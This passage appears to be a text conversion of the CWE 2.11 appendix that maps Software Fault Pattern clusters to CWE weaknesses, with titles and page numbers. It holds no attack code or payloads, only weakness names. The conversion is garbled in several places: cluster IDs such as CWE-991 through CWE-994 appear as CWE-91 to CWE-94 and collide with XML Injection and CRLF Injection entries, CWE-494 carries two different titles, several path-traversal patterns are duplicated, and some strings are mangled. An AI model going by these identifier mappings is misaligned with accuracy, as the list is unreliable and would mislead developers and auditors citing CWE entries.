<td>Use of Multiple Resources with Duplicate Identifier (p. 1078)</td>
<td></td>
</tr>
<tr>
<td>CWE-985</td>
<td>SFP Secondary Cluster: Unrestricted Consumption (p. 1390)</td>
<td></td>
</tr>
<tr>
<td>CWE-400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion') (p. 689)</td>
<td></td>
</tr>
<tr>
<td>CWE-674</td>
<td>Uncontrolled Recursion (p. 1044)</td>
<td></td>
</tr>
<tr>
<td>CWE-770</td>
<td>Allocation of Resources Without Limits or Throttling (p. 1178)</td>
<td></td>
</tr>
<tr>
<td>CWE-774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1191)</td>
<td></td>
</tr>
<tr>
<td>CWE-893</td>
<td>SFP Primary Cluster: Path Resolution (p. 1329)</td>
<td></td>
</tr>
<tr>
<td>CWE-979</td>
<td>SFP Secondary Cluster: Failed Chroot Jail (p. 1388)</td>
<td></td>
</tr>
<tr>
<td>CWE-243</td>
<td>Creation of chroot Jail Without Changing Working Directory (p. 434)</td>
<td></td>
</tr>
<tr>
<td>CWE-980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution (p. 1388)</td>
<td></td>
</tr>
<tr>
<td>CWE-386</td>
<td>Symbolic Name not Mapping to Correct Object (p. 668)</td>
<td></td>
</tr>
<tr>
<td>CWE-59</td>
<td>Improper Link Resolution Before File Access ('Link Following') (p. 91)</td>
<td></td>
</tr>
<tr>
<td>CWE-610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere (p. 959)</td>
<td></td>
</tr>
</tbody>
</table>
Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-62: UNIX Hard Link (p. 96)
- CWE-64: Windows Shortcut Following (.LNK) (p. 98)
- CWE-65: Windows Hard Link (p. 100)
- CWE-71: Apple `.DS_Store` (p. 106)
- **CWE-981**: SFP Secondary Cluster: Path Traversal (p. 1388)
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") (p. 30)
  - CWE-23: Relative Path Traversal (p. 40)
  - CWE-24: Path Traversal: `../filedir` (p. 45)
  - CWE-25: Path Traversal: `'/../filedir'` (p. 46)
  - CWE-26: Path Traversal: `'dir/../../filename'` (p. 48)
  - CWE-27: Path Traversal: `'dir/../../filename'` (p. 49)
  - CWE-28: Path Traversal: `':..filedir'` (p. 51)
  - CWE-29: Path Traversal: `':\filename'` (p. 52)
  - CWE-30: Path Traversal: `':dir:..\filename'` (p. 54)
  - CWE-31: Path Traversal: `':dir\..\filename'` (p. 55)
  - CWE-32: Path Traversal: `':....' (Triple Dot)` (p. 57)
  - CWE-33: Path Traversal: `':.....' (Multiple Dot)` (p. 58)
  - CWE-34: Path Traversal: `':..../*'` (p. 60)
  - CWE-35: Path Traversal: `':..../*'` (p. 62)
  - CWE-36: Absolute Path Traversal (p. 64)
  - CWE-37: Path Traversal: `':absolute/pathname/here'` (p. 67)
  - CWE-38: Path Traversal: `':absolute/pathname/here'` (p. 68)
  - CWE-39: Path Traversal: `':C:dirname'` (p. 70)
  - CWE-40: Path Traversal: `':UNC:share\name:' (Windows UNC Share)` (p. 72)
  - CWE-41: Improper Resolution of Path Equivalence (p. 73)
  - CWE-42: Path Equivalence: `':filenamel, (Trailing Dot)` (p. 78)
  - CWE-43: Path Equivalence: `':filenamel,...,'` (Multiple Trailing Dot) (p. 79)
  - CWE-44: Path Equivalence: `':filename (Internal Dot)` (p. 79)
  - CWE-45: Path Equivalence: `':file...name'` (Multiple Internal Dot) (p. 80)
  - CWE-46: Path Equivalence: `':filename ' (Trailing Space)` (p. 80)
  - CWE-47: Path Equivalence: `':filename' (Leading Space)` (p. 81)
  - CWE-48: Path Equivalence: `':file name'` (Internal White Space) (p. 82)
  - CWE-49: Path Equivalence: `':filename' (Trailing Slash)` (p. 83)
  - CWE-50: Path Equivalence: `':/multiple/leading/slash'` (p. 83)
  - CWE-51: Path Equivalence: `':/multiple//internal/slash'` (p. 84)
  - CWE-52: Path Equivalence: `':/multiple/trailing/slash/` (p. 85)
  - CWE-53: Path Equivalence: `':/multiple\internal\backslash'` (p. 86)
  - CWE-54: Path Equivalence: `':filedir (Trailing Backslash)` (p. 86)
  - CWE-55: Path Equivalence: `':/.' (Single Dot Directory)` (p. 87)
  - CWE-56: Path Equivalence: `':filedir*' (Wildcard)` (p. 88)
  - CWE-57: Path Equivalence: `':fakedir/...realdir/filename'` (p. 89)
  - CWE-58: Path Equivalence: Windows 8.3 Filename (p. 90)
  - CWE-66: Improper Handling of File Names that Identify Virtual Resources (p. 101)
  - CWE-67: Improper Handling of Windows Device Names (p. 103)
  - CWE-706: Use of Incorrectly-Resolved Name or Reference (p. 1109)
  - CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
  - CWE-73: External Control of File Name or Path (p. 108)

- **CWE-894**: SFP Primary Cluster: Synchronization (p. 1329)
- **CWE-986**: SFP Secondary Cluster: Missing Lock (p. 1391)
- CWE-364: Signal Handler Race Condition (p. 636)
- CWE-365: Race Condition in Switch (p. 640)
- CWE-366: Race Condition within a Thread (p. 641)
- CWE-368: Context Switching Race Condition (p. 647)
<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-413</td>
<td>Improper Resource Locking (p. 714)</td>
</tr>
<tr>
<td>CWE-414</td>
<td>Missing Lock Check (p. 717)</td>
</tr>
<tr>
<td>CWE-543</td>
<td>Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)</td>
</tr>
<tr>
<td>CWE-567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context (p. 906)</td>
</tr>
<tr>
<td>CWE-609</td>
<td>Double-Checked Locking (p. 957)</td>
</tr>
<tr>
<td>CWE-662</td>
<td>Improper Synchronization (p. 1026)</td>
</tr>
<tr>
<td>CWE-663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context (p. 1027)</td>
</tr>
<tr>
<td>CWE-667</td>
<td>Improper Locking (p. 1034)</td>
</tr>
<tr>
<td>CWE-987</td>
<td>SFP Secondary Cluster: Multiple Locks/Unlocks (p. 1391)</td>
</tr>
<tr>
<td>CWE-585</td>
<td>Empty Synchronized Block (p. 927)</td>
</tr>
<tr>
<td>CWE-764</td>
<td>Multiple Locks of a Critical Resource (p. 1171)</td>
</tr>
<tr>
<td>CWE-765</td>
<td>Multiple Unlocks of a Critical Resource (p. 1172)</td>
</tr>
<tr>
<td>CWE-988</td>
<td>SFP Secondary Cluster: Race Condition Window (p. 1391)</td>
</tr>
<tr>
<td>CWE-362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)</td>
</tr>
<tr>
<td>CWE-363</td>
<td>Race Condition Enabling Link Following (p. 635)</td>
</tr>
<tr>
<td>CWE-367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)</td>
</tr>
<tr>
<td>CWE-370</td>
<td>Missing Check for Certificate Revocation after Initial Check (p. 650)</td>
</tr>
<tr>
<td>CWE-638</td>
<td>Not Using Complete Mediation (p. 988)</td>
</tr>
<tr>
<td>CWE-989</td>
<td>SFP Secondary Cluster: Unrestricted Lock (p. 1392)</td>
</tr>
<tr>
<td>CWE-412</td>
<td>Unrestricted Externally Accessible Lock (p. 712)</td>
</tr>
<tr>
<td>CWE-895</td>
<td>SFP Primary Cluster: Information Leak (p. 1330)</td>
</tr>
<tr>
<td>CWE-963</td>
<td>SFP Secondary Cluster: Exposed Data (p. 1381)</td>
</tr>
<tr>
<td>CWE-11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary (p. 8)</td>
</tr>
<tr>
<td>CWE-117</td>
<td>Improper Output Neutralization for Logs (p. 223)</td>
</tr>
<tr>
<td>CWE-12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)</td>
</tr>
<tr>
<td>CWE-13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File (p. 11)</td>
</tr>
<tr>
<td>CWE-14</td>
<td>Compiler Removal of Code to Clear Buffers (p. 12)</td>
</tr>
<tr>
<td>CWE-200</td>
<td>Information Exposure (p. 384)</td>
</tr>
<tr>
<td>CWE-201</td>
<td>Information Exposure Through Sent Data (p. 388)</td>
</tr>
<tr>
<td>CWE-209</td>
<td>Information Exposure Through an Error Message (p. 397)</td>
</tr>
<tr>
<td>CWE-210</td>
<td>Information Exposure Through Self-generated Error Message (p. 402)</td>
</tr>
<tr>
<td>CWE-211</td>
<td>Information Exposure Through Externally-generated Error Message (p. 404)</td>
</tr>
<tr>
<td>CWE-212</td>
<td>Improper Cross-boundary Removal of Sensitive Data (p. 405)</td>
</tr>
<tr>
<td>CWE-213</td>
<td>Intentional Information Exposure (p. 407)</td>
</tr>
<tr>
<td>CWE-214</td>
<td>Information Exposure Through Process Environment (p. 408)</td>
</tr>
<tr>
<td>CWE-215</td>
<td>Information Exposure Through Debug Information (p. 409)</td>
</tr>
<tr>
<td>CWE-219</td>
<td>Sensitive Data Under Web Root (p. 412)</td>
</tr>
<tr>
<td>CWE-220</td>
<td>Sensitive Data Under FTP Root (p. 413)</td>
</tr>
<tr>
<td>CWE-226</td>
<td>Sensitive Information Uncleared Before Release (p. 417)</td>
</tr>
<tr>
<td>CWE-244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)</td>
</tr>
<tr>
<td>CWE-256</td>
<td>Plaintext Storage of a Password (p. 455)</td>
</tr>
<tr>
<td>CWE-257</td>
<td>Storing Passwords in a Recoverable Format (p. 457)</td>
</tr>
<tr>
<td>CWE-260</td>
<td>Password in Configuration File (p. 464)</td>
</tr>
<tr>
<td>CWE-311</td>
<td>Missing Encryption of Sensitive Data (p. 549)</td>
</tr>
<tr>
<td>CWE-312</td>
<td>Cleartext Storage of Sensitive Information (p. 555)</td>
</tr>
<tr>
<td>CWE-313</td>
<td>Cleartext Storage in a File or on Disk (p. 557)</td>
</tr>
<tr>
<td>CWE-314</td>
<td>Cleartext Storage in the Registry (p. 559)</td>
</tr>
<tr>
<td>CWE-315</td>
<td>Cleartext Storage of Sensitive Information in a Cookie (p. 559)</td>
</tr>
<tr>
<td>CWE-316</td>
<td>Cleartext Storage of Sensitive Information in Memory (p. 560)</td>
</tr>
<tr>
<td>CWE-317</td>
<td>Cleartext Storage of Sensitive Information in GUI (p. 561)</td>
</tr>
<tr>
<td>CWE-318</td>
<td>Cleartext Storage of Sensitive Information in Executable (p. 562)</td>
</tr>
<tr>
<td>CWE-319</td>
<td>Cleartext Transmission of Sensitive Information (p. 563)</td>
</tr>
<tr>
<td>CWE-374</td>
<td>Passing Mutable Objects to an Untrusted Method (p. 653)</td>
</tr>
</tbody>
</table>
Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 655)
- CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p. 698)
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 698)
- CWE-433: Unparsed Raw Web Content Delivery (p. 743)
- CWE-495: Private Array-Typed Field Returned From A Public Method (p. 840)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
- CWE-499: Serializable Class Containing Sensitive Data (p. 845)
- CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
- CWE-501: Trust Boundary Violation (p. 848)
- CWE-522: Insufficiently Protected Credentials (p. 865)
- CWE-523: Unprotected Transport of Credentials (p. 868)
- CWE-526: Information Exposure Through Environmental Variables (p. 871)
- CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 873)
- CWE-532: Information Exposure Through Log Files (p. 875)
- CWE-533: Information Exposure Through Server Log Files (p. 876)
- CWE-534: Information Exposure Through Debug Log Files (p. 877)
- CWE-535: Information Exposure Through Shell Error Message (p. 877)
- CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 878)
- CWE-537: Information Exposure Through Java Runtime Error Message (p. 879)
- CWE-538: File and Directory Information Exposure (p. 880)
- CWE-539: Information Exposure Through Persistent Cookies (p. 882)
- CWE-540: Information Exposure Through Source Code (p. 882)
- CWE-541: Information Exposure Through Include Source Code (p. 883)
- CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
- CWE-546: Suspicious Comment (p. 887)
- CWE-548: Information Exposure Through Directory Listing (p. 889)
- CWE-550: Information Exposure Through Server Error Message (p. 890)
- CWE-552: Files or Directories Accessible to External Parties (p. 892)
- CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 894)
- CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 934)
- CWE-598: Information Exposure Through Query Strings in GET Request (p. 941)
- CWE-607: Public Static Final Field References Mutable Object (p. 955)
- CWE-612: Information Exposure Through Indexing of Private Data (p. 962)
- CWE-615: Information Exposure Through Comments (p. 964)
- CWE-642: External Control of Critical State Data (p. 995)
- CWE-668: Exposure of Resource to Wrong Sphere (p. 1037)
- CWE-669: Incorrect Resource Transfer Between Spheres (p. 1039)
- CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- CWE-756: Missing Custom Error Page (p. 1154)
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
- CWE-964: SFP Secondary Cluster: Exposure Temporary File (p. 1383)
- CWE-377: Insecure Temporary File (p. 657)
- CWE-378: Creation of Temporary File With Insecure Permissions (p. 659)
- CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 660)
- CWE-965: SFP Secondary Cluster: Insecure Session Management (p. 1383)
- CWE-488: Exposure of Data Element to Wrong Session (p. 825)
- CWE-524: Information Exposure Through Caching (p. 869)
- CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

CWE-966: SFP Secondary Cluster: Other Exposures (p. 1383)
- CWE-453: Insecure Default Variable Initialization (p. 768)
- CWE-485: Insufficient Encapsulation (p. 820)
- CWE-487: Reliance on Package-level Scope (p. 824)
- CWE-492: Use of Inner Class Containing Sensitive Data (p. 829)
- CWE-525: Information Exposure Through Browser Caching (p. 870)
- CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 963)
- CWE-651: Information Exposure Through WSDL File (p. 1010)

CWE-967: SFP Secondary Cluster: State Disclosure (p. 1384)
- CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
- CWE-203: Information Exposure Through Discrepancy (p. 390)
- CWE-204: Response Discrepancy Information Exposure (p. 392)
- CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
- CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
- CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
- CWE-208: Information Exposure Through Timing Discrepancy (p. 396)

CWE-896: SFP Primary Cluster: Tainted Input (p. 1330)
CWE-990: SFP Secondary Cluster: Tainted Input to Command (p. 1392)
- CWE-100: Technology-Specific Input Validation Problems (p. 192)
- CWE-102: Struts: Duplicate Validation Forms (p. 193)
- CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
- CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
- CWE-105: Struts: Form Field Without Validator (p. 198)
- CWE-106: Struts: Plug-in Framework not in Use (p. 201)
- CWE-107: Struts: Unused Validation Form (p. 202)
- CWE-108: Struts: Unvalidated Action Form (p. 204)
- CWE-109: Struts: Validator Turned Off (p. 205)
- CWE-110: Struts: Validator Without Form Field (p. 206)
- CWE-112: Missing XML Validation (p. 210)
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
- CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
- CWE-134: Use of Externally-Controlled Format String (p. 277)
- CWE-138: Improper Neutralization of Special Elements (p. 284)
- CWE-140: Improper Neutralization of Delimiters (p. 287)
- CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
- CWE-142: Improper Neutralization of Value Delimiters (p. 290)
- CWE-143: Improper Neutralization of Record Delimiters (p. 291)
- CWE-144: Improper Neutralization of Line Delimiters (p. 293)
- CWE-145: Improper Neutralization of Section Delimiters (p. 294)
- CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
- CWE-147: Improper Neutralization of Input Terminators (p. 297)
- CWE-148: Improper Neutralization of Input Leaders (p. 298)
- CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
- CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
- CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
- CWE-152: Improper Neutralization of Macro Symbols (p. 304)
- CWE-153: Improper Neutralization of Substitution Characters (p. 305)
- CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
- CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
- CWE-156: Improper Neutralization of Whitespace (p. 309)
- CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
- CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
- CWE-159: Failure to Sanitize Special Element (p. 314)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-160</td>
<td>Improper Neutralization of Leading Special Elements (p. 316)</td>
</tr>
<tr>
<td>CWE-161</td>
<td>Improper Neutralization of Multiple Leading Special Elements (p. 317)</td>
</tr>
<tr>
<td>CWE-162</td>
<td>Improper Neutralization of Trailing Special Elements (p. 319)</td>
</tr>
<tr>
<td>CWE-163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements (p. 320)</td>
</tr>
<tr>
<td>CWE-164</td>
<td>Improper Neutralization of Internal Special Elements (p. 321)</td>
</tr>
<tr>
<td>CWE-165</td>
<td>Improper Neutralization of Multiple Internal Special Elements (p. 323)</td>
</tr>
<tr>
<td>CWE-183</td>
<td>Permissive Whitelist (p. 352)</td>
</tr>
<tr>
<td>CWE-184</td>
<td>Incomplete Blacklist (p. 352)</td>
</tr>
<tr>
<td>CWE-185</td>
<td>Incorrect Regular Expression (p. 355)</td>
</tr>
<tr>
<td>CWE-186</td>
<td>Overly Restrictive Regular Expression (p. 356)</td>
</tr>
<tr>
<td>CWE-444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 758)</td>
</tr>
<tr>
<td>CWE-553</td>
<td>Command Shell in Externally Accessible Directory (p. 892)</td>
</tr>
<tr>
<td>CWE-554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)</td>
</tr>
<tr>
<td>CWE-564</td>
<td>SQL Injection: Hibernate (p. 902)</td>
</tr>
<tr>
<td>CWE-601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect') (p. 944)</td>
</tr>
<tr>
<td>CWE-611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE') (p. 960)</td>
</tr>
<tr>
<td>CWE-619</td>
<td>Dangling Database Cursor ('Cursor Injection') (p. 968)</td>
</tr>
<tr>
<td>CWE-621</td>
<td>Variable Extraction Error (p. 971)</td>
</tr>
<tr>
<td>CWE-624</td>
<td>Executable Regular Expression Error (p. 974)</td>
</tr>
<tr>
<td>CWE-625</td>
<td>Permissive Regular Expression (p. 975)</td>
</tr>
<tr>
<td>CWE-626</td>
<td>Null Byte Interaction Error (Poison Null Byte) (p. 976)</td>
</tr>
<tr>
<td>CWE-627</td>
<td>Dynamic Variable Evaluation (p. 977)</td>
</tr>
<tr>
<td>CWE-641</td>
<td>Improper Restriction of Names for Files and Other Resources (p. 993)</td>
</tr>
<tr>
<td>CWE-643</td>
<td>Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1000)</td>
</tr>
<tr>
<td>CWE-644</td>
<td>Improper Neutralization of HTTP Headers for Scripting Syntax (p. 1001)</td>
</tr>
<tr>
<td>CWE-646</td>
<td>Reliance on File Name or Extension of Externally-Supplied File (p. 1003)</td>
</tr>
<tr>
<td>CWE-652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1011)</td>
</tr>
<tr>
<td>CWE-707</td>
<td>Improper Enforcement of Message or Data Structure (p. 1110)</td>
</tr>
<tr>
<td>CWE-74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)</td>
</tr>
<tr>
<td>CWE-75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)</td>
</tr>
<tr>
<td>CWE-76</td>
<td>Improper Neutralization of Equivalent Special Elements (p. 116)</td>
</tr>
<tr>
<td>CWE-77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)</td>
</tr>
<tr>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)</td>
</tr>
<tr>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)</td>
</tr>
<tr>
<td>CWE-80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)</td>
</tr>
<tr>
<td>CWE-81</td>
<td>Improper Neutralization of Script in an Error Message Web Page (p. 144)</td>
</tr>
<tr>
<td>CWE-82</td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)</td>
</tr>
<tr>
<td>CWE-83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page (p. 147)</td>
</tr>
<tr>
<td>CWE-84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)</td>
</tr>
<tr>
<td>CWE-85</td>
<td>Doubled Character XSS Manipulations (p. 151)</td>
</tr>
<tr>
<td>CWE-86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)</td>
</tr>
<tr>
<td>CWE-87</td>
<td>Improper Neutralization of Alternate XSS Syntax (p. 153)</td>
</tr>
<tr>
<td>CWE-88</td>
<td>Argument Injection or Modification (p. 155)</td>
</tr>
<tr>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)</td>
</tr>
<tr>
<td>CWE-90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)</td>
</tr>
<tr>
<td>CWE-91</td>
<td>XML Injection (aka Blind XPath Injection) (p. 170)</td>
</tr>
<tr>
<td>CWE-93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)</td>
</tr>
</tbody>
</table>
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
CWE-91: SFP Secondary Cluster: Tainted Input to Environment (p. 1394)
CWE-114: Process Control (p. 215)
CWE-427: Uncontrolled Search Path Element (p. 735)
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 791)
CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
CWE-473: PHP External Variable Modification (p. 798)
CWE-494: Download of Code Without Integrity Check (p. 837)
CWE-622: Improper Validation of Function Hook Arguments (p. 972)
CWE-673: External Influence of Sphere Definition (p. 1043)
CWE-92: SFP Secondary Cluster: Faulty Input Transformation (p. 1385)
CWE-116: Improper Encoding or Escaping of Output (p. 217)
CWE-166: Improper Handling of Missing Special Element (p. 324)
CWE-167: Improper Handling of Additional Special Element (p. 325)
CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
CWE-172: Encoding Error (p. 333)
CWE-173: Improper Handling of Alternate Encoding (p. 335)
CWE-174: Double Decoding of the Same Data (p. 336)
CWE-175: Improper Handling of Mixed Encoding (p. 338)
CWE-176: Improper Handling of Unicode Encoding (p. 339)
CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
CWE-178: Improper Handling of Case Sensitivity (p. 343)
CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
CWE-182: Collapse of Data into Unsafe Value (p. 350)
CWE-93: SFP Secondary Cluster: Incorrect Input Handling (p. 1395)
CWE-198: Use of Incorrect Byte Ordering (p. 383)
CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
CWE-229: Improper Handling of Values (p. 422)
CWE-230: Improper Handling of Missing Values (p. 422)
CWE-231: Improper Handling of Extra Values (p. 423)
CWE-232: Improper Handling of Undefined Values (p. 424)
CWE-233: Improper Handling of Parameters (p. 425)
CWE-234: Failure to Handle Missing Parameter (p. 426)
CWE-235: Improper Handling of Extra Parameters (p. 427)
CWE-236: Improper Handling of Undefined Parameters (p. 428)
CWE-237: Improper Handling of Structural Elements (p. 429)
CWE-238: Improper Handling of Incomplete Structural Elements (p. 429)
CWE-239: Failure to Handle Incomplete Element (p. 430)
CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
CWE-241: Improper Handling of Unexpected Data Type (p. 431)
CWE-351: Insufficient Type Distinction (p. 611)
CWE-354: Improper Validation of Integrity Check Value (p. 619)
CWE-94: SFP Secondary Cluster: Tainted Input to Variable (p. 1396)
CWE-15: External Control of System or Configuration Setting (p. 14)
CWE-20: Improper Input Validation (p. 18)
Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

CWE Version 2.11

Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

CWE-897: SFP Primary Cluster: Entry Points (p. 1330)

CWE-1002: SFP Secondary Cluster: Unexpected Entry Points (p. 1414)

CWE-898: SFP Primary Cluster: Authentication (p. 1330)

CWE-947: SFP Secondary Cluster: Authentication Bypass (p. 1376)

CWE-494: External Initialization of Trusted Variables or Data Stores (p. 769)

CWE-496: Public Data Assigned to Private Array-Typed Field (p. 841)

CWE-502: Deserialization of Untrusted Data (p. 849)

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)

CWE-606: Unchecked Input for Loop Condition (p. 954)

CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p. 965)

CWE-1002: SFP Secondary Cluster: Unexpected Entry Points (p. 1414)

CWE-259: Use of Hard-coded Password

CWE-547: Use of Hard-coded, Security-relevant Constants

CWE-262: Not Using Password Aging (p. 467)
CWE-263: Password Aging with Long Expiration (p. 468)
CWE-521: Weak Password Requirements (p. 864)
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
CWE-613: Insufficient Session Expiration (p. 962)
CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1002)
CWE-952: SFP Secondary Cluster: Missing Authentication (p. 1377)
CWE-306: Missing Authentication for Critical Function (p. 538)
CWE-620: Unverified Password Change (p. 969)
CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication (p. 1378)
CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 727)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port (p. 1378)
CWE-605: Multiple Binds to the Same Port (p. 953)
CWE-955: SFP Secondary Cluster: Unrestricted Authentication (p. 1378)
CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)
CWE-899: SFP Primary Cluster: Access Control (p. 1331)
CWE-944: SFP Secondary Cluster: Access Management (p. 1375)
CWE-282: Improper Ownership Management (p. 498)
CWE-283: Unverified Ownership (p. 499)
CWE-284: Improper Access Control (p. 500)
CWE-286: Incorrect User Management (p. 508)
CWE-708: Incorrect Ownership Assignment (p. 1111)
CWE-285: Improper Authorization (p. 502)
CWE-424: Improper Protection of Alternate Path (p. 728)
CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1009)
CWE-946: SFP Secondary Cluster: Insecure Resource Permissions (p. 1375)
CWE-276: Incorrect Default Permissions (p. 491)
CWE-277: Insecure Inherited Permissions (p. 493)
CWE-278: Insecure Preserved Inherited Permissions (p. 494)
CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
CWE-281: Improper Preservation of Permissions (p. 497)
CWE-560: Use of umask() with chmod-style Argument (p. 897)
CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
CWE-901: SFP Primary Cluster: Privilege (p. 1332)
CWE-250: Execution with Unnecessary Privileges (p. 441)
CWE-266: Incorrect Privilege Assignment (p. 472)
CWE-267: Privilege Defined With Unsafe Actions (p. 474)
CWE-268: Privilege Chaining (p. 476)
CWE-269: Improper Privilege Management (p. 478)
CWE-270: Privilege Context Switching Error (p. 480)
CWE-271: Privilege Dropping / Lowering Errors (p. 481)
CWE-272: Least Privilege Violation (p. 483)
CWE-274: Improper Handling of Insufficient Privileges (p. 488)
CWE-520: .NET Misconfiguration: Use of Impersonation (p. 864)
CWE-653: Insufficient Compartmentalization (p. 1012)
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
CWE-902: SFP Primary Cluster: Channel (p. 1332)
CWE-956: SFP Secondary Cluster: Channel Attack (p. 1378)
CWE-290: Authentication Bypass by Spoofing (p. 516)
CWE-294: Authentication Bypass by Capture-replay (p. 521)
CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 531)
CWE-301: Reflection Attack in an Authentication Protocol (p. 533)
CWE-419: Unprotected Primary Channel (p. 724)
